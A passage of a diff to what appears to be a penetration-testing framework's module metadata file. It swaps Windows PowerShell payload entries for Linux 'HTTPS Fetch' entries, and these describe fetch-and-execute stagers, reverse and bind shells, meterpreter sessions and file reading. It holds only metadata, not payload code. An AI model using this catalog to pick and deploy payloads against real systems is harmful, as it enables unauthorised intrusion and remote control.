"adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "payload_cmd/linux/https/x86/meterpreter/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -179739,35 +181799,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm " + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/custom/reverse_https": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_https", + "payload_cmd/linux/https/x86/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_http", "aliases": [ ], @@ -179775,35 +181844,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm " + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", + "description": "Fetch and execute an x86 payload from an HTTPS server.", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_https", + "ref_name": "cmd/linux/https/x86/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/windows/powershell/custom/reverse_https_proxy": { - "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy", + "payload_cmd/linux/https/x86/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_https", "aliases": [ ], @@ -179811,37 +181886,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "corelanc0d3r ", - "amaloteaux " + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "description": "Fetch and execute an x86 payload from an HTTPS server.", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_https_proxy", + "ref_name": "cmd/linux/https/x86/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", + "payload_cmd/linux/https/x86/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_tcp", "aliases": [ ], @@ -179849,37 +181928,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf " + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker over IPv6", + "description": "Fetch and execute an x86 payload from an HTTPS server.", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp", + "ref_name": "cmd/linux/https/x86/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/custom/reverse_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe", + "payload_cmd/linux/https/x86/metsvc_bind_tcp": { + "name": "HTTPS Fetch, Linux Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/linux/https/x86/metsvc_bind_tcp", "aliases": [ ], @@ -179887,35 +181970,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_named_pipe", + "ref_name": "cmd/linux/https/x86/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/metsvc_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp", + "payload_cmd/linux/https/x86/metsvc_reverse_tcp": { + "name": "HTTPS Fetch, Linux Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x86/metsvc_reverse_tcp", "aliases": [ ], @@ -179923,35 +182010,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "vlad902 " + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (No NX)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp", + "ref_name": "cmd/linux/https/x86/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/metsvc_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp", + "payload_cmd/linux/https/x86/read_file": { + "name": "HTTPS Fetch, Linux Read File", + "fullname": "payload/cmd/linux/https/x86/read_file", "aliases": [ ], @@ -179959,35 +182050,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "spoonm " + "hal" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp", + "ref_name": "cmd/linux/https/x86/read_file", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/read_file", + "staged": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp", + "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp", "aliases": [ ], @@ -179995,37 +182090,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf " + "kris katterjohn ", + "egypt " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp", + "ref_name": "cmd/linux/https/x86/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { - "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports", + "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -180033,37 +182134,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf " + "kris katterjohn ", + "egypt ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports", + "ref_name": "cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns", + "payload_cmd/linux/https/x86/shell/bind_nonx_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/bind_nonx_tcp", "aliases": [ ], @@ -180071,38 +182179,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "RageLtMan" + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns", + "ref_name": "cmd/linux/https/x86/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4", + "payload_cmd/linux/https/x86/shell/bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp", "aliases": [ ], @@ -180110,39 +182221,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf ", - "mihi", - "RageLtMan" + "egypt " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4", + "ref_name": "cmd/linux/https/x86/shell/bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "payload_cmd/linux/https/x86/shell/bind_tcp_uuid": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp_uuid", "aliases": [ ], @@ -180150,39 +182264,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf ", - "mihi", - "RageLtMan" + "egypt ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "ref_name": "cmd/linux/https/x86/shell/bind_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid", + "payload_cmd/linux/https/x86/shell/find_tag": { + "name": "HTTPS Fetch, Linux Command Shell, Find Tag Stager", + "fullname": "payload/cmd/linux/https/x86/shell/find_tag", "aliases": [ ], @@ -180190,36 +182308,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "OJ Reeves" + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nUse an established connection", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid", + "ref_name": "cmd/linux/https/x86/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/find_tag", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, - "payload_cmd/windows/powershell/custom/reverse_udp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/custom/reverse_udp", + "payload_cmd/linux/https/x86/shell/reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_ipv6_tcp", "aliases": [ ], @@ -180227,35 +182350,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "RageLtMan " + "skape ", + "kris katterjohn " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_udp", + "ref_name": "cmd/linux/https/x86/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_winhttp": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp", + "payload_cmd/linux/https/x86/shell/reverse_nonx_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_nonx_tcp", "aliases": [ ], @@ -180263,36 +182393,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "Borja Merino " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_winhttp", + "ref_name": "cmd/linux/https/x86/shell/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/custom/reverse_winhttps": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps", + "payload_cmd/linux/https/x86/shell/reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp", "aliases": [ ], @@ -180300,36 +182435,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "Borja Merino " + "skape ", + "egypt ", + "tkmru" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_winhttps", + "ref_name": "cmd/linux/https/x86/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, - "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "payload_cmd/linux/https/x86/shell/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp_uuid", "aliases": [ ], @@ -180337,38 +182479,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", "skape ", - "Borja Merino " + "egypt ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/linux/https/x86/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_tcp", + "payload_cmd/linux/https/x86/shell_bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x86/shell_bind_ipv6_tcp", "aliases": [ ], @@ -180376,38 +182523,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "Borja Merino " + "kris katterjohn " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the 